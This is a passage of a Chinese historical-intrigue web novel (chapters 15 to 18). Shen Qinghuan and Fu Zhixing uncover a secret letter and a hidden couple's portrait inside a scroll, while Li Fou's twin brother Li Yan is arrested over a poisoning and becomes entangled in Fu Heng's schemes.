现眼下,最要紧的是将他唤醒。
李否强压下情绪,拭去了眼中的热泪。
清了清嗓子,握紧了那弟弟的手,口中说着父母记忆中俩兄弟玩闹的场景。
大约是双生子真能心有灵犀,又或是汤药的作用。
后续,李否的弟弟终于苏醒过来。
逃脱了兵部尚书的魔掌,弟弟也是欢喜的很,在李尚书的日子,并不好过,下人于他而言就是可讲话的牲口。
何谈尊严?何谈人格?
李否心疼地将弟弟抱在怀里,轻轻拍着他的背,口中不停地道歉。
“哥,都过去了,不是你的错,如今我已逃脱出来,日后就不提这些伤心事罢。”
“好,都听你的。”
傅之行帮着将其在李否家落了户,自此之后,他便是真正的回家了。
看着一家人其乐融融的场景,沈清欢心里被触动了般。
幸好,一切都还来得及。
15. 双生子
风响,隐着寒意。
李否穿着粗布衣裳,本在厨灶前生火,听到屋外的动静,撂下手中的柴火,就小步走到庭院中。
“阿言起风了,推你回屋罢。”
轮椅上的李言,正攥着一根枯树枝愣神,凤吹起了他额前的碎发,贴在他苍白的脸上。
闻声转过头来,毫无血色的唇,一张一合。
“哥,你看着树枝,细长,像不像……”
话未说尽,一阵凉意袭来,惹得李言缩了缩脖子。
“先回屋罢。”
李否瞧着弟弟一副毫无生气的模样,心里头也泛着酸,替他拢了拢身上的披被后,推着轮椅缓缓向屋中去。
屋内的视线有些暗,将李言安顿好后,李否去里屋寻了盏油灯,添了根灯芯后,端着置于李言身侧。
替弟弟重新掩了掩身上的披风,李否不着声色的在暖着的热汤里,撒了纸包裹着的白色粉末。
持着勺柄顺着水开的方向搅动着。
“阿弟,趁热将药汤喝了罢。”
李否端着汤药,一勺一勺的喂至李言嘴边。
待那轮椅上的李言,逐渐打起盹来,李否悄声放下瓷碗。
“阿弟,阿弟...”
再三确认李言已熟睡后,李否才背过身,从厅堂正前头的抽屉中,抽出一画册,上头画着一男一女,栩栩如生的人物画。
不过多时,李否就等来了那画中二人。
傅之行同沈清欢。
怕惊扰到屋内的李言,三人将里屋的门栓好后,端着小凳就在庭院中央坐下。
沈清欢从李否手中接过画像,满脸的严肃。
端详片刻,睫羽轻颤,眉峰微蹙,眼底闪过一丝薄怒。
须臾后,抬眸,眼中怒意未减,声音有些沉闷道。
“李言当真亲眼瞧见?不是虚言妄语?”
李否本垂着头,一听此话,连连摆手,一向和善的脸,鲜少带了些凶恶。
“那李尚书,真是死的太早,太轻巧,折辱了我阿弟如此多年,就这么轻飘飘地去了...”
傅之行坐在沈清欢身旁,目光落在沈清欢微皱的眉间,掌心握紧其冰冷的手,力道不重,却稳稳包裹住。
沈清欢心里乱的很。
这画像,出现的太过于蹊跷,以至于让她有些措手不及。
烦闷之际,沈清欢拿着画像,就欲将其卷起,带回靖王府,寻个画师细细研究。
手指刚触及到画轴时,心下一顿。
这滑腻温润的触感,不同于寻常竹木的粗糙纹理。
“李尚书没死。”
沈清欢眉间怒意荡然无存,眼底淬着几分讥诮。
“没死?怎会?王妃何出此言?”
李否闻言,霍然抬头,声音也变得磕磕绊绊,是既讶异,又欣喜。
他知沈清欢定不会毫无由头道出此话,可那李尚书是众人眼瞧着,暴毙的,若真是假死,那又是如何脱身的?
沈清欢又是如何断定的?
心中疑问太多,李否一时间不知从何发问,一张唇是张了又合,打着哆嗦。
沈清欢瞧出李否的急迫,起身,将画平铺在竹桌上,随后向傅之行讨要了其随身携带的匕首。
傅之行所不解其意欲何为,但到底是依着沈清欢的意思,从腰间取出那匕首来。
沈清欢正要上手接过匕首,傅之行挡了下,摇了摇头。
“刀尖锋利,我来。”
照着沈清欢的意思,傅之行指尖捻着匕首,手腕微微用力,只轻轻一撬,嵌合紧密的木轴便应声裂开一条缝隙。
他随即旋转匕首,顺着裂缝处,又划拉了半圈。
原本严丝合缝的木轴,松松地挣脱开来。
沈清欢随即上前接过画卷,倒置后,取出木轴中的密信。
对着傅之行同李否笑了。
这傅恒,用来传暗信都得用好东西,这滑腻温润的木轴触感,正是端王府屋后特供养的樱桃木。
前世,她曾因恼怒傅恒流连烟花柳巷,一气之下,举起斧头,将他心爱的樱桃树给砍了。
本以为只是个树木,再金贵又能如何,可傅恒却为此同她大吵一架,还将她禁足了一月有余。
事后,为讨其欢心,沈清欢走遍了各木材商铺,为他寻上好的樱桃树,可却被其告知。
“他浇灌的樱桃树,出自西域,有价无市...”
原是用作暗信装裱用的。
据沈清欢对傅恒的了解,凡是用的着他如此大废干戈的,定是他极为信任之人,若照着李言所说,此画是从李尚书府中偷出来的。
倚着傅恒的性子,定不会轻易让李尚书下线,怕只是个假死表象。
取出暗信后,几人围坐一团,透着那波如蝉翼的纸张,对着光细细琢磨着。
就在此时,屋内迎来了响动。
沈清欢神色一紧,朝着李否投了个眼神。
“补给药喂下了?”
李否也有些纳闷,按照那药的药性,不会这片刻工夫就失效啊。
“我去看看。”
李否作势就要起身,深深吸了口气后,便推开门,缓缓进屋。
屋内的光很是暗淡,轮椅上的李言,似是做了梦魇一般,口中不停地呢喃。
“不要杀我,不要杀我。”
身上的披风也随着其身子的扭动,被摔落在地下,动静过大,连带着轮椅都在地上擦出刺耳的尖锐声。
李否知其是又发病了,赶忙上前,拿着补给药浸入热水中,晃了晃杯身,趁着李言张口的瞬间,就往其口中灌去。
兴许是梦中的事态有了转机,又或是药物起了作用。
李言不一会儿,便渐渐安静下来,脸上的惊恐之态也逐渐消散,安稳地躺在轮椅上。
李否收拾完屋内的残局后,推开门,本想重新去屋外寻沈清欢与傅之行二人,可门外除却几只在院中叽叽喳喳拾着糠米的鸟雀,哪还有其他人的影子。
倒是那竹桌子似是有东西被搁置着。
走近后,瞧清是何物后,李否再掩盖不住内心情绪,一阵心酸涌上心头,泪随着风,滴落在竹桌的金锭子上。
金锭子下还压着一张字条,上头的字体飘逸洒脱,一瞧便是沈清欢留下的——
叨扰许久,先行离开。治病一事,我与之行定牵挂心头,若有难处,先生尽管开口。
李否将那金锭子揣入怀中,面色复杂,他不过一介书生,幸得靖王傅之行赏识,成
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了其麾下一员,待遇赏赐次次都是给的足的。
他家境贫穷,父母无奈,在早年间将双生子的阿弟贩卖送人,也是因傅之行同沈清欢二人相助,才能在今日将阿弟寻回。
得知阿弟在李尚书府中受了刺激,生了怪病,时常疯癫发病,忘却他人,也是蒙受沈清欢托人在坊间寻了一密方补给药,带给他,好安神安宁。
如今还几次为他送银两补给家用,种种恩惠,让李否无不感激涕淋。
李言苏醒后,看到的是这一副场景。
束着长发的李否,双眼无神地坐在厅堂中央的木椅上,胡子拉碴,身形也是消瘦了许多。
“兄长?”
闻言,李否仿佛被牵拉回神,双手在脸上自上而下地摩梭了番,嗓音沙哑中带着疲惫。
“醒来了?想吃什么,兄长去给你做?”
李言咽了咽唾液,望着屋内毫无烛光的模样,再想到兄长落寞的神情,眼眶当即一酸,吸了吸鼻子。
“兄长,可是我又犯病了?”
李否立刻沉声道,“不要瞎说,晦气话都呸走,你不过做梦遇到梦魇罢了,不是何了不得的事。”
说完,带着薄茧的掌心在李言脸上抚摸着。
李言应声点点头,可心中却是门清的,刚回家中时,兄长还是一副翩翩公子的模样,可自他发病后,本与他们同住的父母日日被他惊醒。
商榷后,父母被暂时送回老家屋中,而兄长则留下照顾他。
这些时日,不知多少个日日夜夜,都是兄长伴着他,熬过那些难熬的黑夜。
“鸡蛋面来了。”
李否近来的厨艺涨的飞快,虽是最寻常的食材,但做出的却别有一番风味。
李言咽了咽口水,端着热腾腾的面碗,就往嘴里送。
暖意从口中蔓延至胸口。
见李言一副满足的表情,李否也不禁笑出声来。
“慢些吃,别呛着。”
许久未曾体会到关爱,李言只觉得此刻自个儿便是这世上顶顶幸福的人,那些被李尚书日日鞭打的时光,那些遭人白眼,遭人嫌弃鄙夷的时光,再也不服存在。
原来这就是有家的滋味,足足拖了二十余载他终于真正拥有了。
幸好,老天待他不薄。
饭饱过后,李否推着李言到院中来。
“外头风大,何故非要出来,别冻坏了身子。”
李否口中念念叨叨,边拿着披风盖在其身上,边替其捏着腿。
李言归家时,瘦的厉害,一双腿跟竹竿一样,经过了这些时日的补给,腿上终于带了点肉了,脸上也有了气色。
“兄长,你看今日这月亮,可真圆阿,往年每逢月圆时,同我一道的小厮就说,月圆是好事,若是能在月圆之夜,许下心愿,心诚则灵。”
“你可知我许下的心愿是何?”
李否摇了摇头。
“我想啊,我打有记忆起,便在街上乞讨流浪,后被人卖到李尚书府内做工,从未体会过家的温暖,我想有家,有家人。”
李言说起往事,眼眸中闪着光,似是注意到李否的目光,李言侧过头,对着自家兄长皎洁一笑。
“看来,我是心诚的,如今,心愿都实现了。”
16. 经络听雨声
李否收起柔和的面容,手中撵着桌角。
犹豫片刻后,还是开口发问。
“阿弟,倘若有传闻说,李尚书并未身故...”
“什么?”
李否尚未说完,光是前半句,就惹得李言神色大变,瞳仁暗沉下来,一张本写着淡淡笑意得脸豁然间就写满了深沉。
手也不受控制的在披风里发抖,胸口接连起伏。
李否也被此情形吓了一跳,连忙改口说。
“只是猜测,阿弟,切勿劳神过度。”
他实在担忧,有些懊恼为何自己一时口快,将这没分门的消息脱出。
心里暗自打着鼓,瞥着眼打量着阿弟的动态。
“这老不死的,命还真大。”李言弯腰将方才无意震落在地的披风拾起,吹开沾染的泥土,一股子邪气。
“没确准的事儿。”
李否只觉喉间干渴极了,面对这场景,也不知该说些什么话,便倾身到案台边,沏了一壶热茶。
外头盾风声,也逐渐吹打着屋顶,随着雨滴滴答答打下。
屋内除却李否不断地刮沫声,便只剩下落雨声。
一滴一落坠在二人心头。
“兄长,可否同我说道此消息和从而出?”
李否端着茶盏的手,不动声色地颤了下,些许茶水随着杯盏的晃动溢出。
“靖王妃,今日告知于我此消息。”
“那救我的女子?”
“是。”
李言再次陷入沉默,他对沈清欢的印象还停留在昏迷之时,那些时日,他虽处于迷雾混沌中,可对外界的声响还是门清的。
知晓自己被人所救,可他独活于世,也无乐趣,求生之欲并不强烈。
直至有一日,他听闻一女子好似对照看他的医者说了好些话。
此后,那医者便日日在他耳畔讲述他的过往——
原来,他还有位双生子的兄长。凭着一股劲,他愈发想要挣脱梦魇,愈发想要亲眼瞧瞧,那位早已在记忆中蒙尘淡却的兄长。
故而,他这条命是沈清欢所救,对于沈清欢,他是心怀感激,与信任的,她口中所言,必不会刻意虚构。
她既有把握说出那李尚书是假死表象,定是有了七成的估量。李言会回想起那船舱宴请之日的种种,那李尚书一向怯懦胆小,为何偏偏那日,敢豪迈大肆饮酒,为何见到端王神色复杂难辨?
一股子被当众指认派别,含恨难隐的劲儿,若二人真撕破脸皮,他又为何并未将断网与他勾结的种种当中展说,却是夸大的神情来彰显给各官员。
倘若他当真并未身故,这一切,怕只是一场做戏,特地演给当晚众人看的。
李言心里唾骂那工部尚书,老狐狸,真不愧是阴险狡诈的好手,他们竟都被其的障眼法给骗了。
压下心中波澜,李言对着李否故作随意地笑着,“兄长,改日约个时间,我想同靖王妃道几句话。”
雨淅淅沥沥地下了好几日。
院中的花都被这场大雨打得弯了身,李否弓着身子,拿着扫帚扫着低洼处的泥水,眼睛时不时地往门口瞟着。
不知是否是补给药生了作用,还是心里头有了盼头,李言的魇症是一日比一日好了,不过数日的工夫,发病的频次较平常少了足足一倍有余。
“天凉,兄长切莫感了风寒。”
李言双手转着轮椅,从屋中缓缓出来,靠近时,将腿间的长衫外套取下,递给李否。
二人寒暄之际,屋外头传来悉悉索索的响动声,李言眸中带了丝期盼,心里头默念,莫不是靖王妃来了。
李否事先察觉不对,按常理来说,沈清欢拜访都会如约而至,这约定日期尚未到来,怎会突然来访。
眼瞅着自家阿弟就要推着轮椅上前迎接,李否霍然摔下手中的扫帚,一个箭到李言跟前,推着其就往里屋中去。
此刻屋外头声响愈来愈大,并非一两人的脚步声,倒像是一队训练规整的人马。李否手持着一把利刃,半蹲着,透着窗往外头张望。
李言被这突如其来的一幕整的有些发懵,手攥紧着轮椅,不受控制地开始发抖,腔调里带有明显的慌乱。
“发生何事了兄长?”
李否深深地望了一眼他,做出了个噤声的动作,随后护在其身前。
脚步声越来越近,直至逼近屋门。
李否眯着眼,瞧见了一队身穿赤红色战袍的士兵,成有序列队在院中站立着。
为首那人,身穿绯色五品官袍,衣料是上好的织金云缎,腰间还别着青金玉带,带上悬着一鎏金带扣,在暗色的天里,隐隐泛着光。
手上捧着明黄圣旨,指尖骨节分明,袖口露出的青缎护腕上,还绣着小小的刑部獬豸纹——显然是奉旨拿人的司法官员,而非寻常传旨太监。
“工部侍郎,于十七日夜晚暴毙,经仵作查验,乃是遭人暗中下剧毒。”
那官员声音在院中回荡,肃穆庄重,后又陡然拔高音调,“现查明,凶嫌乃是工部侍郎麾下太监小凳子,现化名李言,奉圣旨,着即锁拿此人,押赴刑部立案审讯。”
话音落,那队士兵就朝着屋门狠狠撞击,门上的铜环被狠狠扣响,敲打着屋内二人的心。
咚——咚——咚
“李言,本官劝你早些出来受绑,莫要逼我等破门而入。
李言的指尖泛着白,额间泛出一层冷汗,嘴角牵扯出一抹不堪的无奈,眼底却闪过决绝。不顾李否的阻拦,一把用力,将那门推开。
“我跟你走。”
李否呆立在门后,喉间涌上一股咸腥,腿僵在原地,几度向冲上去将李言留下,最终还是被理智压住。
死死咬住牙关,才没让哭腔溢出。
望着那队士兵押着李言的身影一点点消散在眼前,李否闷声咳了好几声,顾不上将门掩好,拔腿就往靖王府奔。
他心中只有一个念头——救李言。
靖王府内,沈清欢正研磨着药草,垂眸认真。
傅之行坐在对面的摇花椅上,手里捧着
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一卷兵书,目光却没落在书上,只黏在其身上,见其手腕接连转悠不停,傅之行再次开口。
“我来罢,观摩了你如此久,看也看会了。”
沈清欢没再推辞,揉着手腕,救将药草转交到傅之行手中,口中不乏夸奖,“好好干,若是出师了,重重有赏。”
傅之行手中动作不停,微微侧过身,带着点好奇问道,“前日,李否来信中说他阿弟魇症好多了,特地向你道谢。”
“夫人,妙手回春,令我很是钦佩。”
沈清欢被打趣的脸色泛红,眉梢带着点羞涩,将头别过去,暗暗偷笑,随后又装作正经般,“那是自然,本小姐一出手,定时不会教人失望的。”
这方子当然有用了,这可是前世宫中御医辛大人留下的方子,藏在灶台中,若不是她偶然间贪嘴,也断不会得来此方。
据宫中御医所说,这辛大人生前有一本独家秘方,但去世后,却恍若人间蒸发了一般,他们哪里知道,是被沈清欢拾了去。
谈话间,府中小厮慌慌张张地来报,“王爷,门外李否大人求见,说是有既紧迫的事。”
紧迫?莫非是魇症加重了?不应当啊。
沈清欢同傅之行对视了一眼,当即就让小厮将人带进来。
李否站在靖王府门匾下,来回踱步,双手交叉,心里焦急地快要沸腾,眼瞅着小厮过来传话,得了应允后,李否撩起长衫下摆,就疾步走向王府庭院。
见到沈清欢和傅之行后,再掩不住心中悲切,一股脑儿将今日之事,全盘脱出。
沈清欢的脸色是沉了又沉,她本以为李否是为治病症而来,可竟是陷入了一场纠纷中,那工部尚书究竟是死是活?
若是当真死了,为何又会将其死因牵扯到李言身上?当晚众目睽睽之下,是傅恒亲自手刃了李尚书,虽后续被其扯谎遮盖过去,但到底是有人证在的,过去数日,再次将此事翻动出水面,又是何人手笔?
动机又是为何?一小小的太监成了背锅的,得利者又是谁?背后又会牵扯到何人?
沈清欢见李否魂不守舍的样子,默默叹了口气,虽暂且未知前因后果究竟为何,可身子若是垮了,一切都是虚妄。
向傅之行递了个眼神后,沈清欢便先行回屋中去,李否乃傅之行心腹,论信任,她到底是隔了一层的,留他二人单独相处,好过于她的宽慰。
进屋后,沈清欢翻出那副画卷,手指不断地在画卷上摸索着,李尚书家中为何会有此画卷?
按理推断,只有夫妻才会命人研磨动笔,描绘夫妻画像,此物大抵是傅恒之物,可他为何又要命人描绘此图?
又是为何要将此图作为其与李尚书的传信载具,他的目的是何?为掩人耳目,若被发觉,可将责任推脱至她与傅之行身上?
按照傅恒的作风,不大像。
若论怕担责,他完全可选择更为小巧的载具,而不是偌大的画像。
谜团过多,沈清欢脑海中一片混沌,拉开抽屉,取出纸笔来,细细思量着。
17. 提刀剖画卷
三更梆子响。
打更人裹着厚厚的半旧棉布青花袄,肩头搭着条棉麻布制成的裹脖巾,一步一踱地在街巷中游走。
口中吆喝着,“天干物燥,小心火烛。”
那老翁眼皮子有些耷拉,不断地打着哈欠,可他身后却有一黑影向他缓缓靠近。
街边的狗吠了两声又很快静下去,路边本失去光彩的旧红灯笼,重新染上了红晕的彩。天刚破晓,炊饼摊的王二麻子,迷糊着眼,在街边被一黑蝤蝤的东西绊倒,嘴里骂骂咧咧的,“哪个杀才不长眼的,把烂东西扔在道上,存心绊爷的脚不成?”
王二麻子嘴里嘟嘟囔囔的,是越想越气,又朝着那团东西补了一脚。
这不补不要紧,加重了一脚反倒将那东西踢翻了个身,王二麻子弯着身子往下一瞧,正对上那东西含着血的眼——
此物不是旁的,正是那打更的老翁。
王二麻子哪见过此等场面,当即心一梗头一歪,就晕了过去。
靖王府内,沈清欢心事重重的守在书案前,面前摆着一大碗冒着热气的红豆汤饮,是她往日里最爱吃的,今天却提不起一点胃口。
陈嬷嬷已然已收拾好下人的碗筷,照常来拾掇时,瞟见红豆汤饮由热转凉,一口都未被动过,细声细语道,“王妃,可是这汤不合心意?”
沈清欢这才缓过神来。
此时,后厨院的李嬷嬷火急火燎地就往屋外头跑,风风火火地,陈嬷嬷与她相处最要好,扯着嗓子唤她,“李婶子,着急去哪儿啊?王妃还在这儿呢,规矩都忘掉啦?”
李嬷嬷这才一拍脑门,“嘿呦,我都老糊涂了,见过王妃。”
沈清欢无意同嬷嬷间磋磨这些个鸡毛小事,对着李嬷嬷点点头也就作罢,陈嬷嬷神色一凛,突然想到何事般,对着李嬷嬷一顿挤眉弄眼,“今日咋不去买炊饼,不是说的好那一口子,一日不吃难受的慌吗?”
李嬷嬷知道其在打趣,她同那王二婶子,多年来的老交情,时常空闲时,去那炊饼店坐坐罢了。
没心情接过话茬,李嬷嬷一昂头,嘴角往下撇,“王二麻子摊上人命了。”
“什么?”
沈清欢好不容易抚下的心事,又被重新勾起。这个关头,出人命,是凑巧吗?
她提起裙摆,拉着李嬷嬷,就往事发地赶——
案发当场已被群众围堵的水泄不通,官兵手持长枪,将看热闹的百姓拦在三丈开外,黄灰色的地上,隐隐渗着些暗红,看的叫人心发慌。
那王二麻子佝偻在地,浑身上下每一处都沾着泥渍,眼中写满了惊恐,对着那群官兵一顿叩首,“冤枉啊,大人,小的就是一卖炊饼的,怎敢杀人啊!”
王二婶子也匍匐在地,哭的上气不接下气,脸色煞白,只知道给官兵叩头,希望其怜悯。李嬷嬷见不得这场景,跻身进去,将王二婶子从地上托起来,口里不断地安慰。
沈清欢的目光停留在那团暗红的血迹上,那血迹早已凝固发暗,边缘成一层薄痂状,甚至起了细微的粉末状碎屑。
旁边炊饼摊的青石板缝隙中也嵌入了溅落的零星血迹,沉在纹路里,显得有几分邪性。
王二麻子很快就被带走,连带着其冒着热气的炊饼炉子都被人一脚踢翻,好些炊饼都翻滚掉地,残留着焦香。
王二婶子更是一个泣不成声,躺在路上,捶胸遁地地,李嬷嬷在一旁搂着她,生怕她一个想不开。
不一会儿,围观的群众都走尽了,沈清欢见无旁人后,蹲下身子,细细查看这凝固的血迹,随后,对着那王二婶子道,“婶子,可否问句,你家炊饼摊子都是何时起摊的?”
王二婶子已哭成了个泪人,听见这个话,像抓起了最后一根救命稻草般,“噗通”一声跪倒在地,“王妃,行行好,救救我家那粗人吧,人定不是他杀的。”
说罢,就要给沈清欢磕头,李嬷嬷赶紧扯过她的袖口,催促地,“王妃问话呢,快些答呀,再晚些,指不定又有何变故了。”
王二婶子,吓了一跳,连连作声,“我家炊饼起摊通常都在卯时,只得晚不得早,我家那人今日也是这个点来摊上的。”
卯时?
沈清欢心头一凛,卯时起摊,但这血迹凝固程度,分明是四更天左右留下的——
这王二麻子,是做了个“替死鬼”!
靖王府中,沈清欢与傅之行对面而坐,她将方才所闻所想皆一一告知傅之行。
傅之行:“当真是蹊跷,这老翁偏就倒在了他炊饼摊前头,他又碰巧被人撞见倒在老翁身旁,这桩桩件件撞一块儿,可不就是容易遭人误会?”
沈清欢非常断定,“这估摸是蓄谋已久的。”
“对了,那王二婶子,受了打击,我怕她一时心里转不过来,便让李嬷嬷带着暂且住在后院嬷嬷房中。”
“一切皆听夫人的。”
傅之行目光一转,牵着沈清欢的手也慢慢抓紧,“不知为何,我总觉得这心里头乱窜个不停,这些时日,外头也不太平,夫人还是少出去走动罢。”
傅之行确实担忧,李言的事,本就古怪,如今,又出了王二麻子这事,不论是否巧合,多加防备总是好的。
再者说回那画卷,也是古怪的很。
傅之行朝沈清欢看了一眼,素日里镇定自若的小脸,现在也带了几缕愁态。傅之行只能捏了捏其掌心,用眼神告诉她——
天塌了,也有他在。
沈清欢对着傅之行轻轻笑了下,这些天,接连发生这么多事,说不紧张,不害怕,只是诓骗自个罢了。
但,好在她不是孤身一人。
她突然想起前世,相国公因出言不羁,惹恼了傅恒的母妃,偏偏赶在那个节骨眼儿上,恰逢沈薇薇出嫁,沈苏氏为保她的宝贝孙女婚事无碍,逼迫着她去从中调和。
她也不过一宫墙女子,平日里也见不得贵妃,如何从中调和?这又岂是她能做主的?万般无奈下,
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她压低姿态,去乞求傅恒。
傅恒又岂会因她之言冒犯亲生母妃?她到现在还记得,那日傅恒眼底的绝情,他字字句句都如针一般扎入她的心。
他说:“沈清欢,你是不是太高估你在我心里的分量了?你在我这儿,还没那个脸面。”
沈清欢只觉心中悲悯,前世自打母亲离世后,真正在意她的人少之又少,她一度将傅恒当依托,可等来的是他的决绝,是他的背弃。
沈清欢心里头翻涌着各色情绪,指尖触到傅之行温热而又真实的锦缎,心里头的恨意也随之一点点褪去。
掩窗,落栓。
沈清欢走到紫檀木案前,伸手取出画卷,置于案上。
傅之行束身立在她身旁,手中举着一烛灯,为其打着光。二人对视一眼,沈清欢细细将那画拆解着——
她不信如今种种皆是巧合,这画卷背负的秘密,究竟是何?
沈清欢静坐下来,目光落在画上,久久未移开。想着讨教的画师所教导的,她伸出手,指尖轻轻覆在画卷的纹路上,自上而下,一遍一遍摩梭着。
而后,轻轻望向傅之行,摇了摇头。
顿了片刻后,沈清欢起身,接过傅之行手中的烛灯,罩在那画卷上,透过光细细探究着,指甲循着画卷的边缘,挑看着。
还是未有所获,沈清欢眉头不禁拧起,手指搭在那画卷上,一搭一搭的按动,傅之行垂眸看着,探下身,伸手揉着沈清欢的手腕,声音轻柔,“无妨,急不得,我们慢慢来。”
说罢,就起身去身后的桌上,取来一茶杯,倒了热水,递给沈清欢。
“你说,会不会是我想多了,兴许这画仅仅是寻常画来玩的?”
沈清欢对着傅之行发问,神色里皆是不解,可不等其回答,又接着道,“可谁会画别人家夫妇的画像收藏?这是何怪癖?”
思索了好半会,沈清欢撇撇嘴,默默叹了口气,将茶杯搁置一边,拢了拢鬓间碎发,随后又将目光重新放到画卷上。
“哎,当心点!”
窗外李嬷嬷高亢的嗓音响起,惊得沈清欢一哆嗦,傅之行走至窗外,透过缝隙,朝外头望去,“只是李嬷嬷拎着菜,被那阿狸绊了一脚。”
“这阿狸,性子倒是一如既往的活泼。”
沈清欢嗤笑一声,可方才的动响,让那杯中的茶随着泻出来几滴,沾在画卷上,落下了几点深色的印记,沈清欢见状,正要拿着布巾擦拭。
指尖划过画角时,忽然触到一处细微的突起,触感与纸面的纹理大不相同,当即就心头一动,拿了把精巧的刀,随着那凸起的边缘,向上拨动,竟真的动开了。
傅之行见状,也是连忙上前来,双手按压着画卷,指尖稳住微微发颤的纸面,使沈清欢能够借力,拨开那上头浮着的一层浆纸。
二人一接一递,就这样真将那画卷挑拨开了,显现出画卷下方真正的面貌——
沈清欢同傅恒的夫妻画像。
18. 双生闹间隙
四下里静得可怕,沈清欢手中的刀晃动着,直直地就掉在了那张画卷上。
怎会?
为何这画卷上是她与傅恒二人的画像?她分明这一世并未与其成婚啊。
沈清欢身上不自觉出了层冷汗,很是费解,坐在椅上,心里头扑腾扑腾地上下打着鼓。傅之行也没好到哪去,被这画一冲击,也是当即就变了脸色,一双茶色的眼,里头不再清朗,倒是多了些波澜。
二人皆各怀揣着心事,沈清欢明白此局多半就是傅恒设的,可他为何派人作夫妇像,前世相处,他也并非见得对她有多上心般,不然也不会舍得派人给她一箭射死。
说是爱慕她才作此画像,沈清欢只会觉得其好笑,荒唐。
但若是心生爱慕,那又是为何要作此画像?
傅之行表面坐的端正极了,心里头也早就如热水沸腾一样,搅乱了心续——
他明媒正娶的王妃,竟被他人作画于夫妇图上,怎叫他心神安宁?
玄铁烛台的光焰跳了又跳,傅之行立在阴影里,目光死死地盯着那傅恒的脸。
心口像被人狠狠攥住一般,嫉妒,不安,像藤蔓一般抓住他的心,缠得他块喘不过气来。
仿佛又回到了被退婚时的场景。
指腹不断地摩梭腰间的平安牌,眼底翻腾的阴翳快要将他吞没。
这画,他必要追究,傅恒,简直痴心妄想。
沈清欢并未痴傻之人,她当然察觉出傅之行的异样,光是他散发的低沉气息,沈清欢就知晓,这厮是吃醋了。
沈清欢走近,拍了拍他的肩,待他转头过来时,将唇吻了上去。
傅之行愣住了,眼底的阴霾褪去,逐渐蒙上了一层水雾。
出门后,傅之行的耳尖还带着红,嘴唇也泛着红润的光,哪还有方才惴惴不安的姿态,分明是带着“吃干抹净”的雀跃。
反倒是沈清欢,一脸的羞怯,含羞带愤地伸手拧了一把傅之行的肘窝,“大白日的,也不怕叫人看了去。”
傅之行将人揽到自己怀里,眼中还带着刚才温存的浓情蜜意,在沈清欢耳边摩挲,呼出一口热气,“夫人方才动情时,可不是如此凶的。”
“不害臊。”
傅之行心情愉悦,说什么他都不在意,一想到自家夫人,刚刚含情脉脉对自己的真情表白,心里就止不住地甜。
他可是正室,是沈清欢有着律法撑腰的相公,那傅恒,又是何物?
一介小虾米罢了,瘌□□想吃天鹅肉。
不过这话怎从夫人口中说出就那么可爱呢。
傅之行眉眼里掩不住的笑意。
午膳后。
傅之行唤来李否,将画像递给他。
李否满脸疑惑,拿起一看,不禁吓了一大跳,又抬眼瞧了瞧傅之行。
不对啊,这王爷平日里对王妃最是宝贝的紧,怎地,突然就一反常态了。
傅之行清咳了两声,没留闲暇时间给他乱猜想,语气里时不容分说的严肃,“李言的事,定是同傅恒脱不了关系。”
“端王?可我阿弟并未招惹到他?怎会?”李否急了。
“此事上不得知,但此画,是如今唯一线索,李言将此画拿回来时,可有说些什么?”
李否沉默了,脸色很难看。
他只记得,那日李言对着此画嘟囔了句...
“他说,这下我也有你的把柄了。”
“是谁?”
李否摇了摇头,这个李言没说,他当时正处在发魇症的阶段,他不敢贸然上前惊扰。
傅之行眸子暗了下去,细细思索了番,“你先暂且替我看紧端王府,有何异常随时向我汇报,拿着这块令牌,去寻于景,让他陪你一同前去。”
李否本想推辞,可傅之行早有预料,“你孤身一人前去,不怕成了第二个老翁?”
“属下遵命。”
李否离开后,沈清欢也从外头归来,一同带着的是一幼童。
那幼童约五岁大,长相却显得有几分老成的憨娇,虽说有些突兀,倒也有别样的可爱。
傅之行忍不住伸手逗弄他,“小满,你瞧这孩子多有趣。”
“是有趣,可你听听他说话呢?”
傅之行不知所以,可下一秒,那孩童脸上的稚气竟蓦地消散,“王爷。”
这分明是个成年男子的声音,却出现在一个五岁幼童身上,傅之行震惊有余,却还是凭着理智,寻回线索,“这莫不是你口中的王和先生?”
沈清欢点点头,“正是。”
王和,籍贯吴郡,年二十五,身量仅及稚童,身姿虽矮,却有智气。
其三岁识千字,五岁能诵《诗》,《书》,七岁因身量异于常人被人非议,后闭门苦读,遍研医卜星象之书,十五岁游京城,遭人耻笑,欺辱。
得沈清欢接济,此后二人成良友。
前世沈清欢正是将此人荐与傅恒,才使其在政绩有所作为,得到权势,助他一步步稳坐高堂,可封后当日,傅恒将王和一并诛杀。
过河拆桥,也不过如此罢。
沈清欢简易跟面前这二人说了一下,自己的计划,此次成败,她并未有把握,但总得一试。
端王府内。
身形俊秀的男子背脊挺得很直,双手拿着一青色瓷瓶,眼里带着不屑,对面的那人身形则较为消瘦,且还坐在一轮椅之上。
“你要我说你什么好?李言?”
“王爷,是我的错,我认罚。可我兄长是无辜的,还望您高抬贵手,莫要伤他。”
傅恒像是听了什么笑话般,居高临下地审视着面前之人,“你有什么资格,来跟我谈条件?你配吗?”
李言强撑着摇摇欲坠的身体,一步一步将自己推至其面前,眼眶已经被血浸红了,“王爷若信的过我,我便可以做您的刀。”
翌日。
李嬷嬷出门买菜时,在街边路口瞧见了一身形极其削瘦的男子,出于好奇,她凑上前去,看热闹,可刚走近,那人便突然来了精神,一把抓住李嬷嬷的脚踝。
惹得李嬷嬷惊慌失措,在大街上鬼哭狼嚎。
“害,你早些说是李先生的弟弟,我
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也不至于那样子,真丢死人了。”
李嬷嬷对着榻上的李言半埋怨,半心疼的说道。
若不是那熟人替她去唤来了相府的小厮,她指不定就将这人当作下流胚子,一顿好打了。
得亏相府小厮见过这李先生的弟弟,这才没闹个乌龙。
李言强扯出一抹笑,十分愧疚地,“嬷嬷,对不住了。”
“罢了,罢了,你这孩子也真可怜,如今沉冤得雪,就好生在这歇着罢。”
李嬷嬷说罢就往外走,李言也收起脸上的笑,眼睛阴沉沉地盯着四周看。
得了消息的李否,很快就赶来了,见到自家弟弟身上满是鞭伤,心里疼极了,搀着李言的手都是颤抖的。
仔细检查了李言身上的伤后,李否着急忙慌地就要去为他找大夫,但被李言拦下了,“兄长,我没事,只是我此番回来,不同寻常。”
“此话何意?”
李言一副欲言又止的模样,看的李否心里更是焦急,“到底为何?难不成对我这个兄长也不可袒露?”
李言这才支支吾吾地,“那官差对我说,此次入狱是得了某个贵人的举报,还说...”
“还说什么?”
李否恨不得当即就撬开他的嘴,这么磨磨蹭蹭的,真叫他心里发慌。
“还说,那人是,靖王府内的。”
